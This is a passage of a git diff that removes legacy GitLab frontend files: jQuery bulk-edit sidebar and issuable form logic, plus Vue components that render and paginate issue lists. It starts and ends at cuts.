- issuableLabels = this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels');
- issuableLabels.forEach((labelId) => {
- // Store unique IDs
- if (uniqueIds.indexOf(labelId) === -1) {
- uniqueIds.push(labelId);
- }
- });
- // Store array of IDs per issuable
- labelIds.push(issuableLabels);
- });
- // Add uniqueIds to add it as argument for _.intersection
- labelIds.unshift(uniqueIds);
- // Return IDs that are present but not in all selected issueables
- return uniqueIds.filter((x) => !intersection.apply(this, labelIds).includes(x));
- },
-
- getElement(selector) {
- this.scopeEl = this.scopeEl || $('.content');
- return this.scopeEl.find(selector);
- },
-};
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js
deleted file mode 100644
index a9d4548f8cf..00000000000
--- a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js
+++ /dev/null
@@ -1,173 +0,0 @@
-/* eslint-disable class-methods-use-this, no-new */
-
-import $ from 'jquery';
-import { property } from 'lodash';
-
-import issueableEventHub from '~/issues_list/eventhub';
-import LabelsSelect from '~/labels_select';
-import MilestoneSelect from '~/milestone_select';
-import initIssueStatusSelect from './init_issue_status_select';
-import IssuableBulkUpdateActions from './issuable_bulk_update_actions';
-import subscriptionSelect from './subscription_select';
-
-const HIDDEN_CLASS = 'hidden';
-const DISABLED_CONTENT_CLASS = 'disabled-content';
-const SIDEBAR_EXPANDED_CLASS = 'right-sidebar-expanded issuable-bulk-update-sidebar';
-const SIDEBAR_COLLAPSED_CLASS = 'right-sidebar-collapsed issuable-bulk-update-sidebar';
-
-export default class IssuableBulkUpdateSidebar {
- constructor() {
- this.vueIssuablesListFeature = property(['gon', 'features', 'vueIssuablesList'])(window);
-
- this.initDomElements();
- this.bindEvents();
- this.initDropdowns();
- this.setupBulkUpdateActions();
- }
-
- initDomElements() {
- this.$page = $('.layout-page');
- this.$sidebar = $('.right-sidebar');
- this.$sidebarInnerContainer = this.$sidebar.find('.issuable-sidebar');
- this.$bulkEditCancelBtn = $('.js-bulk-update-menu-hide');
- this.$bulkEditSubmitBtn = $('.js-update-selected-issues');
- this.$bulkUpdateEnableBtn = $('.js-bulk-update-toggle');
- this.$otherFilters = $('.issues-other-filters');
- this.$checkAllContainer = $('.check-all-holder');
- this.$issueChecks = $('.issue-check');
- this.$issuesList = $('.issuable-list input[type="checkbox"]');
- this.$issuableIdsInput = $('#update_issuable_ids');
- }
-
- bindEvents() {
- this.$bulkUpdateEnableBtn.on('click', (e) => this.toggleBulkEdit(e, true));
- this.$bulkEditCancelBtn.on('click', (e) => this.toggleBulkEdit(e, false));
- this.$checkAllContainer.on('click', (e) => this.selectAll(e));
- this.$issuesList.on('change', () => this.updateFormState());
- this.$bulkEditSubmitBtn.on('click', () => this.prepForSubmit());
- this.$checkAllContainer.on('click', () => this.updateFormState());
-
- // The event hub connects this bulk update logic with `issues_list_app.vue`.
- // We can remove it once we've refactored the issues list page bulk edit sidebar to Vue.
- // https://gitlab.com/gitlab-org/gitlab/-/issues/325874
- issueableEventHub.$on('issuables:enableBulkEdit', () => this.toggleBulkEdit(null, true));
- issueableEventHub.$on('issuables:updateBulkEdit', () => this.updateFormState());
- }
-
- initDropdowns() {
- new LabelsSelect();
- new MilestoneSelect();
- initIssueStatusSelect();
- subscriptionSelect();
-
- if (IS_EE) {
- import('ee/vue_shared/components/sidebar/health_status_select/health_status_bundle')
- .then(({ default: HealthStatusSelect }) => {
- HealthStatusSelect();
- })
- .catch(() => {});
- }
-
- if (IS_EE) {
- import('ee/vue_shared/components/sidebar/epics_select/epics_select_bundle')
- .then(({ default: EpicSelect }) => {
- EpicSelect();
- })
- .catch(() => {});
- }
-
- if (IS_EE) {
- import('ee/vue_shared/components/sidebar/iterations_dropdown_bundle')
- .then(({ default: iterationsDropdown }) => {
- iterationsDropdown();
- })
- .catch((e) => {
- throw e;
- });
- }
- }
-
- setupBulkUpdateActions() {
- IssuableBulkUpdateActions.setOriginalDropdownData();
- }
-
- updateFormState() {
- const noCheckedIssues = !$('.issuable-list input[type="checkbox"]:checked').length;
-
- this.toggleSubmitButtonDisabled(noCheckedIssues);
- this.updateSelectedIssuableIds();
-
- IssuableBulkUpdateActions.setOriginalDropdownData();
- }
-
- prepForSubmit() {
- // if submit button is disabled, submission is blocked. This ensures we disable after
- // form submission is carried out
- setTimeout(() => this.$bulkEditSubmitBtn.disable());
- this.updateSelectedIssuableIds();
- }
-
- toggleBulkEdit(e, enable) {
- e?.preventDefault();
-
- issueableEventHub.$emit('issuables:toggleBulkEdit', enable);
-
- this.toggleSidebarDisplay(enable);
- this.toggleBulkEditButtonDisabled(enable);
- this.toggleOtherFiltersDisabled(enable);
- this.toggleCheckboxDisplay(enable);
- }
-
- updateSelectedIssuableIds() {
- this.$issuableIdsInput.val(IssuableBulkUpdateSidebar.getCheckedIssueIds());
- }
-
- selectAll() {
- const checkAllButtonState = this.$checkAllContainer.find('input').prop('checked');
-
- this.$issuesList.prop('checked', checkAllButtonState);
- }
-
- toggleSidebarDisplay(show) {
- this.$page.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
- this.$page.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
- this.$sidebarInnerContainer.toggleClass(HIDDEN_CLASS, !show);
- this.$sidebar.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
- this.$sidebar.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
- }
-
- toggleBulkEditButtonDisabled(disable) {
- if (disable) {
- this.$bulkUpdateEnableBtn.disable();
- } else {
- this.$bulkUpdateEnableBtn.enable();
- }
- }
-
- toggleCheckboxDisplay(show) {
- this.$checkAllContainer.toggleClass(HIDDEN_CLASS, !show || this.vueIssuablesListFeature);
- this.$issueChecks.toggleClass(HIDDEN_CLASS, !show);
- }
-
- toggleOtherFiltersDisabled(disable) {
- this.$otherFilters.toggleClass(DISABLED_CONTENT_CLASS, disable);
- }
-
- toggleSubmitButtonDisabled(disable) {
- if (disable) {
- this.$bulkEditSubmitBtn.disable();
- } else {
- this.$bulkEditSubmitBtn.enable();
- }
- }
-
- static getCheckedIssueIds() {
- const $checkedIssues = $('.issuable-list input[type="checkbox"]:checked');
-
- if ($checkedIssues.length > 0) {
- return $.map($checkedIssues, (value) => $(value).data('id'));
- }
-
- return [];
- }
-}
diff --git a/app/assets/javascripts/issuable_context.js b/app/assets/javascripts/issuable_context.js
deleted file mode 100644
index 51b5237a339..00000000000
--- a/app/assets/javascripts/issuable_context.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import $ from 'jquery';
-import Cookies from 'js-cookie';
-import { loadCSSFile } from './lib/utils/css_utils';
-import UsersSelect from './users_select';
-
-export default class IssuableContext {
- constructor(currentUser) {
- this.userSelect = new UsersSelect(currentUser);
- this.reviewersSelect = new UsersSelect(currentUser, '.js-reviewer-search');
-
- const $select2 = $('select.select2');
-
- if ($select2.length) {
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(() => {
- // eslint-disable-next-line promise/no-nesting
- loadCSSFile(gon.select2_css_path)
- .then(() => {
- $select2.select2({
- width: 'resolve',
- dropdownAutoWidth: true,
- });
- })
- .catch(() => {});
- })
- .catch(() => {});
- }
-
- $('.issuable-sidebar .inline-update').on('change', 'select', function onClickSelect() {
- return $(this).submit();
- });
- $('.issuable-sidebar .inline-update').on('change', '.js-assignee', function onClickAssignee() {
- return $(this).submit();
- });
- $(document)
- .off('click', '.issuable-sidebar .dropdown-content a')
- .on('click', '.issuable-sidebar .dropdown-content a', (e) => e.preventDefault());
-
- $(document)
- .off('click', '.edit-link')
- .on('click', '.edit-link', function onClickEdit(e) {
- e.preventDefault();
- const $block = $(this).parents('.block');
- const $selectbox = $block.find('.selectbox');
- if ($selectbox.is(':visible')) {
- $selectbox.hide();
- $block.find('.value:not(.dont-hide)').show();
- } else {
- $selectbox.show();
- $block.find('.value:not(.dont-hide)').hide();
- }
-
- if ($selectbox.is(':visible')) {
- setTimeout(() => $block.find('.dropdown-menu-toggle').trigger('click'), 0);
- }
- });
-
- window.addEventListener('beforeunload', () => {
- // collapsed_gutter cookie hides the sidebar
- const bpBreakpoint = bp.getBreakpointSize();
- const supportedSizes = ['xs', 'sm', 'md'];
-
- if (supportedSizes.includes(bpBreakpoint)) {
- Cookies.set('collapsed_gutter', true);
- }
- });
- }
-}
diff --git a/app/assets/javascripts/issuable_form.js b/app/assets/javascripts/issuable_form.js
deleted file mode 100644
index bafc26befda..00000000000
--- a/app/assets/javascripts/issuable_form.js
+++ /dev/null
@@ -1,219 +0,0 @@
-import $ from 'jquery';
-import Pikaday from 'pikaday';
-import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
-import Autosave from './autosave';
-import AutoWidthDropdownSelect from './issuable/auto_width_dropdown_select';
-import { loadCSSFile } from './lib/utils/css_utils';
-import { parsePikadayDate, pikadayToString } from './lib/utils/datetime_utility';
-import { select2AxiosTransport } from './lib/utils/select2_utils';
-import { queryToObject, objectToQuery } from './lib/utils/url_utility';
-import UsersSelect from './users_select';
-import ZenMode from './zen_mode';
-
-const MR_SOURCE_BRANCH = 'merge_request[source_branch]';
-const MR_TARGET_BRANCH = 'merge_request[target_branch]';
-
-function organizeQuery(obj, isFallbackKey = false) {
- if (!obj[MR_SOURCE_BRANCH] && !obj[MR_TARGET_BRANCH]) {
- return obj;
- }
-
- if (isFallbackKey) {
- return {
- [MR_SOURCE_BRANCH]: obj[MR_SOURCE_BRANCH],
- };
- }
-
- return {
- [MR_SOURCE_BRANCH]: obj[MR_SOURCE_BRANCH],
- [MR_TARGET_BRANCH]: obj[MR_TARGET_BRANCH],
- };
-}
-
-function format(searchTerm, isFallbackKey = false) {
- const queryObject = queryToObject(searchTerm, { legacySpacesDecode: true });
- const organizeQueryObject = organizeQuery(queryObject, isFallbackKey);
- const formattedQuery = objectToQuery(organizeQueryObject);
-
- return formattedQuery;
-}
-
-function getFallbackKey() {
- const searchTerm = format(document.location.search, true);
- return ['autosave', document.location.pathname, searchTerm].join('/');
-}
-
-export default class IssuableForm {
- constructor(form) {
- this.form = form;
- this.toggleWip = this.toggleWip.bind(this);
- this.renderWipExplanation = this.renderWipExplanation.bind(this);
- this.resetAutosave = this.resetAutosave.bind(this);
- this.handleSubmit = this.handleSubmit.bind(this);
- // prettier-ignore
- this.draftRegex = new RegExp(
- '^\\s*(' + // Line start, then any amount of leading whitespace
- '\\[draft\\]\\s*' + // [Draft] and any following whitespace
- '|draft:\\s*' + // Draft: and any following whitespace
- '|\\(draft\\)\\s*' + // (Draft) and any following whitespace
- ')+' + // At least one repeated match of the preceding parenthetical
- '\\s*', // Any amount of trailing whitespace
- 'i', // Match any case(s)
- );
-
- this.gfmAutoComplete = new GfmAutoComplete(
- gl.GfmAutoComplete && gl.GfmAutoComplete.dataSources,
- ).setup();
- this.usersSelect = new UsersSelect();
- this.reviewersSelect = new UsersSelect(undefined, '.js-reviewer-search');
- this.zenMode = new ZenMode();
-
- this.titleField = this.form.find('input[name*="[title]"]');
- this.descriptionField = this.form.find('textarea[name*="[description]"]');
- if (!(this.titleField.length && this.descriptionField.length)) {
- return;
- }
-
- this.initAutosave();
- this.form.on('submit', this.handleSubmit);
- this.form.on('click', '.btn-cancel', this.resetAutosave);
- this.initWip();
-
- const $issuableDueDate = $('#issuable-due-date');
-
- if ($issuableDueDate.length) {
- const calendar = new Pikaday({
- field: $issuableDueDate.get(0),
- theme: 'gitlab-theme animate-picker',
- format: 'yyyy-mm-dd',
- container: $issuableDueDate.parent().get(0),
- parse: (dateString) => parsePikadayDate(dateString),
- toString: (date) => pikadayToString(date),
- onSelect: (dateText) => $issuableDueDate.val(calendar.toString(dateText)),
- firstDay: gon.first_day_of_week,
- });
- calendar.setDate(parsePikadayDate($issuableDueDate.val()));
- }
-
- this.$targetBranchSelect = $('.js-target-branch-select', this.form);
-
- if (this.$targetBranchSelect.length) {
- this.initTargetBranchDropdown();
- }
- }
-
- initAutosave() {
- const { search } = document.location;
- const searchTerm = format(search);
- const fallbackKey = getFallbackKey();
-
- this.autosave = new Autosave(
- this.titleField,
- [document.location.pathname, searchTerm, 'title'],
- `${fallbackKey}=title`,
- );
-
- return new Autosave(
- this.descriptionField,
- [document.location.pathname, searchTerm, 'description'],
- `${fallbackKey}=description`,
- );
- }
-
- handleSubmit() {
- return this.resetAutosave();
- }
-
- resetAutosave() {
- this.titleField.data('autosave').reset();
- return this.descriptionField.data('autosave').reset();
- }
-
- initWip() {
- this.$wipExplanation = this.form.find('.js-wip-explanation');
- this.$noWipExplanation = this.form.find('.js-no-wip-explanation');
- if (!(this.$wipExplanation.length && this.$noWipExplanation.length)) {
- return undefined;
- }
- this.form.on('click', '.js-toggle-wip', this.toggleWip);
- this.titleField.on('keyup blur', this.renderWipExplanation);
- return this.renderWipExplanation();
- }
-
- workInProgress() {
- return this.draftRegex.test(this.titleField.val());
- }
-
- renderWipExplanation() {
- if (this.workInProgress()) {
- // These strings are not "translatable" (the code is hard-coded to look for them)
- this.$wipExplanation.find('code')[0].textContent =
- 'Draft'; /* eslint-disable-line @gitlab/require-i18n-strings */
- this.$wipExplanation.show();
- return this.$noWipExplanation.hide();
- }
- this.$wipExplanation.hide();
- return this.$noWipExplanation.show();
- }
-
- toggleWip(event) {
- event.preventDefault();
- if (this.workInProgress()) {
- this.removeWip();
- } else {
- this.addWip();
- }
- return this.renderWipExplanation();
- }
-
- removeWip() {
- return this.titleField.val(this.titleField.val().replace(this.draftRegex, ''));
- }
-
- addWip() {
- this.titleField.val(`Draft: ${this.titleField.val()}`);
- }
-
- initTargetBranchDropdown() {
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(() => {
- // eslint-disable-next-line promise/no-nesting
- loadCSSFile(gon.select2_css_path)
- .then(() => {
- this.$targetBranchSelect.select2({
- ...AutoWidthDropdownSelect.selectOptions('js-target-branch-select'),
- ajax: {
- url: this.$targetBranchSelect.data('endpoint'),
- dataType: 'JSON',
- quietMillis: 250,
- data(search) {
- return {
- search,
- };
- },
- results({ results }) {
- return {
- // `data` keys are translated so we can't just access them with a string based key
- results: results[Object.keys(results)[0]].map((name) => ({
- id: name,
- text: name,
- })),
- };
- },
- transport: select2AxiosTransport,
- },
- initSelection(el, callback) {
- const val = el.val();
-
- callback({
- id: val,
- text: val,
- });
- },
- });
- })
- .catch(() => {});
- })
- .catch(() => {});
- }
-}
diff --git a/app/assets/javascripts/issuable_index.js b/app/assets/javascripts/issuable_index.js
deleted file mode 100644
index 5a57da292a0..00000000000
--- a/app/assets/javascripts/issuable_index.js
+++ /dev/null
@@ -1,7 +0,0 @@
-import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
-
-export default class IssuableIndex {
- constructor(pagePrefix = 'issuable_') {
- issuableInitBulkUpdateSidebar.init(pagePrefix);
- }
-}
diff --git a/app/assets/javascripts/issuable_list/components/issuable_item.vue b/app/assets/javascripts/issuable_list/components/issuable_item.vue
deleted file mode 100644
index ab04c6a38a5..00000000000
--- a/app/assets/javascripts/issuable_list/components/issuable_item.vue
+++ /dev/null
@@ -1,295 +0,0 @@
-<script>
-import { GlLink, GlIcon, GlLabel, GlFormCheckbox, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
-
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { isScopedLabel } from '~/lib/utils/common_utils';
-import { differenceInSeconds, getTimeago, SECONDS_IN_DAY } from '~/lib/utils/datetime_utility';
-import { isExternal, setUrlFragment } from '~/lib/utils/url_utility';
-import { __, n__, sprintf } from '~/locale';
-import IssuableAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
-import timeagoMixin from '~/vue_shared/mixins/timeago';
-
-export default {
- components: {
- GlLink,
- GlIcon,
- GlLabel,
- GlFormCheckbox,
- GlSprintf,
- IssuableAssignees,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- mixins: [timeagoMixin],
- props: {
- issuableSymbol: {
- type: String,
- required: true,
- },
- issuable: {
- type: Object,
- required: true,
- },
- enableLabelPermalinks: {
- type: Boolean,
- required: true,
- },
- labelFilterParam: {
- type: String,
- required: false,
- default: 'label_name',
- },
- showCheckbox: {
- type: Boolean,
- required: true,
- },
- checked: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- issuableId() {
- return getIdFromGraphQLId(this.issuable.id);
- },
- createdInPastDay() {
- const createdSecondsAgo = differenceInSeconds(new Date(this.issuable.createdAt), new Date());
- return createdSecondsAgo < SECONDS_IN_DAY;
- },
- author() {
- return this.issuable.author;
- },
- webUrl() {
- return this.issuable.gitlabWebUrl || this.issuable.webUrl;
- },
- authorId() {
- return getIdFromGraphQLId(this.author.id);
- },
- isIssuableUrlExternal() {
- return isExternal(this.webUrl);
- },
- reference() {
- return this.issuable.reference || `${this.issuableSymbol}${this.issuable.iid}`;
- },
- labels() {
- return this.issuable.labels?.nodes || this.issuable.labels || [];
- },
- labelIdsString() {
- return JSON.stringify(this.labels.map((label) => getIdFromGraphQLId(label.id)));
- },
- assignees() {
- return this.issuable.assignees?.nodes || this.issuable.assignees || [];
- },
- createdAt() {
- return getTimeago().format(this.issuable.createdAt);
- },
- updatedAt() {
- return sprintf(__('updated %{timeAgo}'), {
- timeAgo: getTimeago().format(this.issuable.updatedAt),
- });
- },
- issuableTitleProps() {
- if (this.isIssuableUrlExternal) {
- return {
- target: '_blank',
- };
- }
- return {};
- },
- taskStatus() {
- const { completedCount, count } = this.issuable.taskCompletionStatus || {};
- if (!count) {
- return undefined;
- }
-
- return sprintf(
- n__(
- '%{completedCount} of %{count} task completed',
- '%{completedCount} of %{count} tasks completed',
- count,
- ),
- { completedCount, count },
- );
- },
- notesCount() {
- return this.issuable.userDiscussionsCount ?? this.issuable.userNotesCount;
- },
- showDiscussions() {
- return typeof this.notesCount === 'number';
- },
- showIssuableMeta() {
- return Boolean(
- this.hasSlotContents('status') || this.showDiscussions || this.issuable.assignees,
- );
- },
- issuableNotesLink() {
- return setUrlFragment(this.webUrl, 'notes');
- },
- },
- methods: {
- hasSlotContents(slotName) {
- return Boolean(this.$slots[slotName]);
- },
- scopedLabel(label) {
- return isScopedLabel(label);
- },
- labelTitle(label) {
- return label.title || label.name;
- },
- labelTarget(label) {
- if (this.enableLabelPermalinks) {
- const value = encodeURIComponent(this.labelTitle(label));
- return `?${this.labelFilterParam}[]=${value}`;
- }
- return '#';
- },
- /**
- * This is needed as an independent method since
- * when user changes current page, `$refs.authorLink`
- * will be null until next page results are loaded & rendered.
- */
- getAuthorPopoverTarget() {
- if (this.$refs.authorLink) {
- return this.$refs.authorLink.$el;
- }
- return '';
- },
- },
-};
-</script>
-
-<template>
- <li
- :id="`issuable_${issuableId}`"
- class="issue gl-display-flex! gl-px-5!"
- :class="{ closed: issuable.closedAt, today: createdInPastDay }"
- :data-labels="labelIdsString"
- >
- <gl-form-checkbox
- v-if="showCheckbox"
- class="issue-check gl-mr-0"
- :checked="checked"
- :data-id="issuableId"
- @input="$emit('checked-input', $event)"
- >
- <span class="gl-sr-only">{{ issuable.title }}</span>
- </gl-form-checkbox>
- <div class="issuable-main-info">
- <div data-testid="issuable-title" class="issue-title title">
- <gl-icon
- v-if="issuable.confidential"
- v-gl-tooltip
- name="eye-slash"
- :title="__('Confidential')"
- :aria-label="__('Confidential')"
- />
- <gl-link class="issue-title-text" dir="auto" :href="webUrl" v-bind="issuableTitleProps">
- {{ issuable.title }}
- <gl-icon v-if="isIssuableUrlExternal" name="external-link" class="gl-ml-2" />
- </gl-link>
- <span
- v-if="taskStatus"
- class="task-status gl-display-none gl-sm-display-inline-block! gl-ml-3"
- data-testid="task-status"
- >
- {{ taskStatus }}
- </span>
- </div>
- <div class="issuable-info">
- <slot v-if="hasSlotContents('reference')" name="reference"></slot>
- <span v-else data-testid="issuable-reference" class="issuable-reference">
- {{ reference }}
- </span>
- <span class="gl-display-none gl-sm-display-inline-block">
- <span aria-hidden="true">&middot;</span>
- <span class="issuable-authored gl-mr-3">
- <gl-sprintf :message="__('created %{timeAgo} by %{author}')">
- <template #timeAgo>
- <span
- v-gl-tooltip.bottom
- :title="tooltipTitle(issuable.createdAt)"
- data-testid="issuable-created-at"
- >
- {{ createdAt }}
- </span>
- </template>
- <template #author>
- <slot v-if="hasSlotContents('author')" name="author"></slot>
- <gl-link
- v-else
- :data-user-id="authorId"
- :data-username="author.username"
- :data-name="author.name"
- :data-avatar-url="author.avatarUrl"
- :href="author.webUrl"
- data-testid="issuable-author"
- class="author-link js-user-link"
- >
- <span class="author">{{ author.name }}</span>
- </gl-link>
- </template>
- </gl-sprintf>
- </span>
- <slot name="timeframe"></slot>
- </span>
- &nbsp;
- <span v-if="labels.length" role="group" :aria-label="__('Labels')">
- <gl-label
- v-for="(label, index) in labels"
- :key="index"
- :background-color="label.color"
- :title="labelTitle(label)"
- :description="label.description"
- :scoped="scopedLabel(label)"
- :target="labelTarget(label)"
- :class="{ 'gl-ml-2': index }"
- size="sm"
- />
- </span>
- </div>
- </div>
- <div class="issuable-meta">
- <ul v-if="showIssuableMeta" class="controls">
- <li v-if="hasSlotContents('status')" class="issuable-status">
- <slot name="status"></slot>
- </li>
- <li v-if="assignees.length">
- <issuable-assignees
- :assignees="assignees"
- :icon-size="16"
- :max-visible="4"
- img-css-classes="gl-mr-2!"
- class="gl-align-items-center gl-display-flex gl-ml-3"
- />
- </li>
- <slot name="statistics"></slot>
- <li
- v-if="showDiscussions"
- data-testid="issuable-discussions"
- class="issuable-comments gl-display-none gl-sm-display-block"
- >
- <gl-link
- v-gl-tooltip.top
- :title="__('Comments')"
- :href="issuableNotesLink"
- :class="{ 'no-comments': !notesCount }"
- class="gl-reset-color!"
- >
- <gl-icon name="comments" />
- {{ notesCount }}
- </gl-link>
- </li>
- </ul>
- <div
- v-gl-tooltip.bottom
- class="gl-text-gray-500 gl-display-none gl-sm-display-inline-block"
- :title="tooltipTitle(issuable.updatedAt)"
- data-testid="issuable-updated-at"
- >
- {{ updatedAt }}
- </div>
- </div>
- </li>
-</template>
diff --git a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
deleted file mode 100644
index c1082987146..00000000000
--- a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
+++ /dev/null
@@ -1,353 +0,0 @@
-<script>
-import { GlKeysetPagination, GlSkeletonLoading, GlPagination } from '@gitlab/ui';
-import { uniqueId } from 'lodash';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { updateHistory, setUrlParams } from '~/lib/utils/url_utility';
-import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
-
-import { DEFAULT_SKELETON_COUNT } from '../constants';
-import IssuableBulkEditSidebar from './issuable_bulk_edit_sidebar.vue';
-import IssuableItem from './issuable_item.vue';
-import IssuableTabs from './issuable_tabs.vue';
-
-const VueDraggable = () => import('vuedraggable');
-
-export default {
- vueDraggableAttributes: {
- animation: 200,
- ghostClass: 'gl-visibility-hidden',
- tag: 'ul',
- },
- components: {
- GlKeysetPagination,
- GlSkeletonLoading,
- IssuableTabs,
- FilteredSearchBar,
- IssuableItem,
- IssuableBulkEditSidebar,
- GlPagination,
- VueDraggable,
- },
- props: {
- namespace: {
- type: String,
- required: true,
- },
- recentSearchesStorageKey: {
- type: String,
- required: true,
- },
- searchInputPlaceholder: {
- type: String,
- required: true,
- },
- searchTokens: {
- type: Array,
- required: true,
- },
- sortOptions: {
- type: Array,
- required: true,
- },
- urlParams: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- initialFilterValue: {
- type: Array,
- required: false,
- default: () => [],
- },
- initialSortBy: {
- type: String,
- required: false,
- default: 'created_desc',
- },
- issuables: {
- type: Array,
- required: true,
- },
- tabs: {
- type: Array,
- required: true,
- },
- tabCounts: {
- type: Object,
- required: false,
- default: null,
- },
- currentTab: {
- type: String,
- required: true,
- },
- issuableSymbol: {
- type: String,
- required: false,
- default: '#',
- },
- issuablesLoading: {
- type: Boolean,
- required: false,
- default: false,
- },
- showPaginationControls: {
- type: Boolean,
- required: false,
- default: false,
- },
- showBulkEditSidebar: {
- type: Boolean,
- required: false,
- default: false,
- },
- defaultPageSize: {
- type: Number,
- required: false,
- default: 20,
- },
- totalItems: {
- type: Number,
- required: false,
- default: 0,
- },
- currentPage: {
- type: Number,
- required: false,
- default: 1,
- },
- previousPage: {
- type: Number,
- required: false,
- default: 0,
- },
- nextPage: {
- type: Number,
- required: false,
- default: 2,
- },
- enableLabelPermalinks: {
- type: Boolean,
- required: false,
- default: true,
- },
- labelFilterParam: {
- type: String,
- required: false,
- default: undefined,
- },
- isManualOrdering: {
- type: Boolean,
- required: false,
- default: false,
- },
- useKeysetPagination: {
- type: Boolean,
- required: false,
- default: false,
- },
- hasNextPage: {
- type: Boolean,
- required: false,
- default: false,
- },
- hasPreviousPage: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- data() {
- return {
- checkedIssuables: {},
- };
- },
- computed: {
- skeletonItemCount() {
- const { totalItems, defaultPageSize, currentPage } = this;
- const totalPages = Math.ceil(totalItems / defaultPageSize);
-
- if (totalPages) {
- return currentPage < totalPages
- ? defaultPageSize
- : totalItems % defaultPageSize || defaultPageSize;
- }
- return DEFAULT_SKELETON_COUNT;
- },
- allIssuablesChecked() {
- return this.bulkEditIssuables.length === this.issuables.length;
- },
- /**
- * Returns all the checked issuables from `checkedIssuables` map.
- */
- bulkEditIssuables() {
- return Object.keys(this.checkedIssuables).reduce((acc, issuableId) => {
- if (this.checkedIssuables[issuableId].checked) {
- acc.push(this.checkedIssuables[issuableId].issuable);
- }
- return acc;
- }, []);
- },
- issuablesWrapper() {
- return this.isManualOrdering ? VueDraggable : 'ul';
- },
- },
- watch: {
- issuables(list) {
- this.checkedIssuables = list.reduce((acc, issuable) => {
- const id = this.issuableId(issuable);
- acc[id] = {
- // By default, an issuable is not checked,
- // But if `checkedIssuables` is already
- // populated, use existing value.
- checked:
- typeof this.checkedIssuables[id] !== 'boolean'
- ? false
- : this.checkedIssuables[id].checked,
- // We're caching issuable reference here
- // for ease of populating in `bulkEditIssuables`.
- issuable,
- };
- return acc;
- }, {});
- },
- urlParams: {
- deep: true,
- immediate: true,
- handler(params) {
- if (Object.keys(params).length) {
- updateHistory({
- url: setUrlParams(params, window.location.href, true, false, true),
- title: document.title,
- replace: true,
- });
- }
- },
- },
- },
- methods: {
- issuableId(issuable) {
- return getIdFromGraphQLId(issuable.id) || issuable.iid || uniqueId();
- },
- issuableChecked(issuable) {
- return this.checkedIssuables[this.issuableId(issuable)]?.checked;
- },
- handleIssuableCheckedInput(issuable, value) {
- this.checkedIssuables[this.issuableId(issuable)].checked = value;
- this.$emit('update-legacy-bulk-edit');
- },
- handleAllIssuablesCheckedInput(value) {
- Object.keys(this.checkedIssuables).forEach((issuableId) => {
- this.checkedIssuables[issuableId].checked = value;
- });
- this.$emit('update-legacy-bulk-edit');
- },
- handleVueDraggableUpdate({ newIndex, oldIndex }) {
- this.$emit('reorder', { newIndex, oldIndex });
- },
- },
-};
-</script>
-
-<template>
- <div class="issuable-list-container">
- <issuable-tabs
- :tabs="tabs"
- :tab-counts="tabCounts"
- :current-tab="currentTab"
- @click="$emit('click-tab', $event)"
- >
- <template #nav-actions>
- <slot name="nav-actions"></slot>
- </template>
- </issuable-tabs>
- <filtered-search-bar
- :namespace="namespace"
- :recent-searches-storage-key="recentSearchesStorageKey"
- :search-input-placeholder="searchInputPlaceholder"
- :tokens="searchTokens"
- :sort-options="sortOptions"
- :initial-filter-value="initialFilterValue"
- :initial-sort-by="initialSortBy"
- :show-checkbox="showBulkEditSidebar"
- :checkbox-checked="allIssuablesChecked"
- class="gl-flex-grow-1 gl-border-t-none row-content-block"
- @checked-input="handleAllIssuablesCheckedInput"
- @onFilter="$emit('filter', $event)"
- @onSort="$emit('sort', $event)"
- />
- <issuable-bulk-edit-sidebar :expanded="showBulkEditSidebar">
- <template #bulk-edit-actions>
- <slot name="bulk-edit-actions" :checked-issuables="bulkEditIssuables"></slot>
- </template>
- <template #sidebar-items>
- <slot name="sidebar-items" :checked-issuables="bulkEditIssuables"></slot>
- </template>
- </issuable-bulk-edit-sidebar>
- <ul v-if="issuablesLoading" class="content-list">
- <li v-for="n in skeletonItemCount" :key="n" class="issue gl-px-5! gl-py-5!">
- <gl-skeleton-loading />
- </li>
- </ul>
- <template v-else>
- <component
- :is="issuablesWrapper"
- v-if="issuables.length > 0"
- class="content-list issuable-list issues-list"
- :class="{ 'manual-ordering': isManualOrdering }"
- v-bind="$options.vueDraggableAttributes"
- @update="handleVueDraggableUpdate"
- >
- <issuable-item
- v-for="issuable in issuables"
- :key="issuableId(issuable)"
- :class="{ 'gl-cursor-grab': isManualOrdering }"
- :issuable-symbol="issuableSymbol"
- :issuable="issuable"
- :enable-label-permalinks="enableLabelPermalinks"
- :label-filter-param="labelFilterParam"
- :show-checkbox="showBulkEditSidebar"
- :checked="issuableChecked(issuable)"
- @checked-input="handleIssuableCheckedInput(issuable, $event)"
- >
- <template #reference>
- <slot name="reference" :issuable="issuable"></slot>
- </template>
- <template #author>
- <slot name="author" :author="issuable.author"></slot>
- </template>
- <template #timeframe>
- <slot name="timeframe" :issuable="issuable"></slot>
- </template>
- <template #status>
- <slot name="status" :issuable="issuable"></slot>
- </template>
- <template #statistics>
- <slot name="statistics" :issuable="issuable"></slot>
- </template>
- </issuable-item>
- </component>
- <slot v-else name="empty-state"></slot>
- </template>
-
